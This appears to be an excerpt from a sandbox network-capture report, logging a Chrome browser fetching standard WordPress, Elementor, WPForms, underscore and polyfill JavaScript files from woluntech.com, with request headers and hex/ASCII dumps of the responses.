2025-01-15 02:37:13 UTC	8137	IN	Data Raw: 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 6e 28 33 32 30 33 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 3d 69 28 6e 28 34 37 37 33 29 29 3b 63 6c 61 73 73 20 59 6f 75 74 75 62 65 4c 6f 61 64 65 72 20 65 78 74 65 6e 64 73 20 73 2e 64 65 66 61 75 6c 74 7b 67 65 74 41 70 69 55 52 4c 28 29 7b 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 69 66 72 61 6d 65 5f 61 70 69 22 7d 67 65 74 55 52 4c 52 65 67 65 78 28 29 7b 72 65 74 75 72 6e 2f 5e 28 3f 3a 68 74 74 70 73 3f 3a 5c 2f 5c 2f 29 3f 28 3f 3a 77 77 77 5c 2e 29 3f 28 3f 3a 6d 5c 2e 29 Data Ascii: e strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(4773));class YoutubeLoader extends s.default{getApiURL(){return"https://www.youtube.com/iframe_api"}getURLRegex(){return/^(?:https?:\/\/)?(?:www\.)?(?:m\.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49826	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	978	OUT	GET /wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 24382 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-5f3e" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 33 37 5d 2c 7b 37 39 39 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3d 6e 28 33 32 30 33 29 2c 73 3d 6f 28 6e 28 34 30 34 32 29 29 2c 72 3d 6f 28 6e 28 38 35 32 38 29 29 2c 6c 3d 6f 28 6e 28 37 38 35 37 29 29 2c 61 3d 6f 28 6e 28 33 31 38 34 29 29 2c 64 3d 6f 28 6e 28 37 30 34 33 29 29 2c 69 3d 6f 28 6e 28 34 32 32 33 29 29 2c 75 3d 6f 28 6e 28 34 32 33 31 29 Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[437],{7996:(e,t,n)=>{var o=n(3203),s=o(n(4042)),r=o(n(8528)),l=o(n(7857)),a=o(n(3184)),d=o(n(7043)),i=o(n(4223)),u=o(n(4231)
2025-01-15 02:37:13 UTC	8426	IN	Data Raw: 65 29 2c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 74 72 69 67 67 65 72 73 3d 5b 5d 2c 74 68 69 73 2e 74 72 69 67 67 65 72 43 6c 61 73 73 65 73 3d 7b 70 61 67 65 5f 6c 6f 61 64 3a 73 2e 64 65 66 61 75 6c 74 2c 73 63 72 6f 6c 6c 69 6e 67 3a 72 2e 64 65 66 61 75 6c 74 2c 73 63 72 6f 6c 6c 69 6e 67 5f 74 6f 3a 6c 2e 64 65 66 61 75 6c 74 2c 63 6c 69 63 6b 3a 61 2e 64 65 66 61 75 6c 74 2c 69 6e 61 63 74 69 76 69 74 79 3a 64 2e 64 65 66 61 75 6c 74 2c 65 78 69 74 5f 69 6e 74 65 6e 74 3a 69 2e 64 65 66 61 75 6c 74 7d 2c 74 68 69 73 2e 72 75 6e 54 72 69 67 67 65 72 73 28 29 7d 72 75 6e 54 72 69 67 67 65 72 73 28 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 3b 6a 51 75 65 72 79 2e 65 61 63 68 28 74 68 69 Data Ascii: e),this.document=t,this.triggers=[],this.triggerClasses={page_load:s.default,scrolling:r.default,scrolling_to:l.default,click:a.default,inactivity:d.default,exit_intent:i.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49827	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	781	OUT	GET /wp-includes/js/dist/i18n.min.js?ver=ebee46757c6a411e38fd079a7ac71d94 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 10222 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-27ee" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	10222	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 39 37 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 65 2c 72 2c 69 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 6f 2c 61 2c 73 3d 65 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 3a 66 6f 72 28 3b 73 3b 29 7b 69 66 28 73 2e 61 72 67 73 2e 6c 65 6e 67 74 68 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 61 3d 30 3b 61 3c 75 3b 61 2b 2b 29 69 66 28 73 2e 61 72 67 73 5b 61 5d 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 7b 73 3d 73 2e 6e 65 78 74 3b 63 6f Data Ascii: /! This file is auto-generated /!function(){var t={9756:function(t){t.exports=function(t,n){var e,r,i=0;function o(){var o,a,s=e,u=arguments.length;t:for(;s;){if(s.args.length===arguments.length){for(a=0;a<u;a++)if(s.args[a]!==arguments[a]){s=s.next;co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49828	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	944	OUT	GET /wp-includes/js/underscore.min.js?ver=1.13.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 18911 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-49df" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 76 61 72 20 74 2c 65 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 72 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 75 6e 64 65 72 73 63 6f 72 65 22 2c 72 29 3a 28 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 6e 7c 7c 73 65 6c 66 2c 74 3d 6e 2e 5f 2c 28 65 3d 6e 2e Data Ascii: /! This file is auto-generated /!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n.
2025-01-15 02:37:13 UTC	2955	IN	Data Raw: 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 6c 3d 21 31 3d 3d 3d 75 2e 6c 65 61 64 69 6e 67 3f 30 3a 4f 28 29 2c 6f 3d 6e 75 6c 6c 2c 63 3d 74 2e 61 70 70 6c 79 28 66 2c 61 29 2c 6f 7c 7c 28 66 3d 61 3d 6e 75 6c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 6e 3d 4f 28 29 2c 72 3d 28 6c 7c 7c 21 31 21 3d 3d 75 2e 6c 65 61 64 69 6e 67 7c 7c 28 6c 3d 6e 29 2c 65 2d 28 6e 2d 6c 29 29 3b 72 65 74 75 72 6e 20 66 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 2c 72 3c 3d 30 7c 7c 65 3c 72 3f 28 6f 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 6e 75 6c 6c 29 2c 6c 3d 6e 2c 63 3d 74 2e 61 70 70 6c 79 28 66 2c 61 29 2c 6f 7c 7c 28 66 3d 61 3d 6e 75 6c 6c 29 29 3a 6f 7c 7c 21 31 3d 3d 3d 75 2e 74 72 61 69 6c 69 6e 67 7c 7c 28 6f Data Ascii: ){function i(){l=!1===u.leading?0:O(),o=null,c=t.apply(f,a),o\|\|(f=a=null)}function n(){var n=O(),r=(l\|\|!1!==u.leading\|\|(l=n),e-(n-l));return f=this,a=arguments,r<=0\|\|e<r?(o&&(clearTimeout(o),o=null),l=n,c=t.apply(f,a),o\|\|(f=a=null)):o\|\|!1===u.trailing\|\|(o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49830	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	940	OUT	GET /wp-includes/js/wp-util.min.js?ver=6.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 1340 Last-Modified: Mon, 28 Feb 2022 09:02:21 GMT Connection: close Vary: Accept-Encoding ETag: "621c8f9d-53c" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	1340	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 77 69 6e 64 6f 77 2e 77 70 3d 77 69 6e 64 6f 77 2e 77 70 7c 7c 7b 7d 2c 66 75 6e 63 74 69 6f 6e 28 73 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3f 7b 7d 3a 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3b 77 70 2e 74 65 6d 70 6c 61 74 65 3d 5f 2e 6d 65 6d 6f 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 61 2c 6e 3d 7b 65 76 61 6c 75 61 74 65 3a 2f 3c 23 28 5b 5c 73 5c 53 5d 2b 3f 29 23 3e 2f 67 2c 69 6e 74 65 72 70 6f 6c 61 74 65 3a 2f 5c 7b 5c 7b 5c 7b 28 5b 5c 73 5c 53 5d 2b 3f 29 5c 7d 5c 7d 5c 7d 2f 67 2c 65 73 63 61 70 65 3a 2f 5c 7b 5c 7b 28 5b 5e Data Ascii: /! This file is auto-generated /window.wp=window.wp\|\|{},function(s){var t="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(e){var a,n={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49829	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	993	OUT	GET /wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	402	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 754 Last-Modified: Thu, 04 Aug 2022 07:37:52 GMT Connection: close ETag: "62eb7750-2f2" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	754	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 3d 77 69 6e 64 6f 77 2e 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 72 29 7b 76 61 72 20 74 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 65 76 65 6e 74 73 28 29 7d 2c 65 76 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 6f 29 2e 6f 6e 28 22 65 6c 65 6d 65 6e 74 6f 72 2f 70 6f 70 75 70 2f 73 68 6f 77 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6e 29 7b 6f 3d 72 28 22 23 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 70 75 70 2d 6d 6f 64 61 6c 2d 22 2b 6f 29 2e 66 69 6e 64 28 22 2e 77 70 66 6f 72 6d 73 2d 66 6f 72 6d 22 29 3b 6f 2e 6c 65 6e 67 74 68 26 26 74 Data Ascii: "use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.length&&t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49831	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	789	OUT	GET /wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: application/javascript Content-Length: 12198 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-2fa6" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	12198	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 57 61 79 70 6f 69 6e 74 28 6f 70 74 69 6f 6e 73 29 7b 69 66 28 21 6f 70 74 69 6f 6e 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 6f 70 74 69 6f 6e 73 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 65 6c 65 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 65 6c 65 6d 65 6e 74 20 6f 70 74 69 6f 6e 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 68 61 Data Ascii: !function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error("No ha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49833	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	769	OUT	GET /wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:13 GMT Content-Type: application/javascript Content-Length: 19142 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-4ac6" Expires: Thu, 15 Jan 2026 02:37:13 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 72 2c 65 3b 72 3d 7b 7d 2c 28 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 72 5b 74 5d 29 72 65 74 75 72 6e 20 72 5b 74 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 72 5b 74 5d 3d 7b 69 3a 74 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 6e 5b 74 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 65 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 29 2e 6d 3d 6e 3d 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 72 28 31 29 2c 72 28 36 37 29 2c 72 28 36 38 29 2c 72 28 37 32 29 2c 72 28 37 39 29 2c 74 2e 65 78 70 6f 72 74 73 3d 72 28 38 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: !function(t){"use strict";var n,r,e;r={},(e=function(t){if(r[t])return r[t].exports;var o=r[t]={i:t,l:!1,exports:{}};return n[t].call(o.exports,o,o.exports,e),o.l=!0,o.exports}).m=n=[function(t,n,r){r(1),r(67),r(68),r(72),r(79),t.exports=r(85)},function(n
2025-01-15 02:37:13 UTC	3186	IN	Data Raw: 75 72 6e 20 6e 21 3d 3d 74 26 26 63 28 6e 29 2c 68 3f 67 28 74 68 69 73 2c 6e 29 3a 66 28 64 28 74 68 69 73 29 2c 28 72 3d 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 65 74 75 72 6e 20 72 21 3d 3d 74 3f 2b 72 28 6e 2c 65 29 7c 7c 30 3a 65 21 3d 65 3f 2d 31 3a 6e 21 3d 6e 3f 31 3a 30 3d 3d 3d 6e 26 26 30 3d 3d 3d 65 3f 30 3c 31 2f 6e 26 26 31 2f 65 3c 30 3f 31 3a 2d 31 3a 65 3c 6e 7d 29 29 3b 76 61 72 20 72 7d 29 2c 21 68 7c 7c 69 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 72 28 38 31 29 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 2c 66 3d 6f 28 72 2f 32 29 3b 72 65 74 75 72 6e 20 72 3c 38 3f 75 28 74 2c 6e 29 3a 63 28 74 2c 69 28 Data Ascii: urn n!==t&&c(n),h?g(this,n):f(d(this),(r=n,function(n,e){return r!==t?+r(n,e)\|\|0:e!=e?-1:n!=n?1:0===n&&0===e?0<1/n&&1/e<0?1:-1:e<n}));var r}),!h\|\|i)},function(t,n,r){var e=r(81),o=Math.floor,i=function(t,n){var 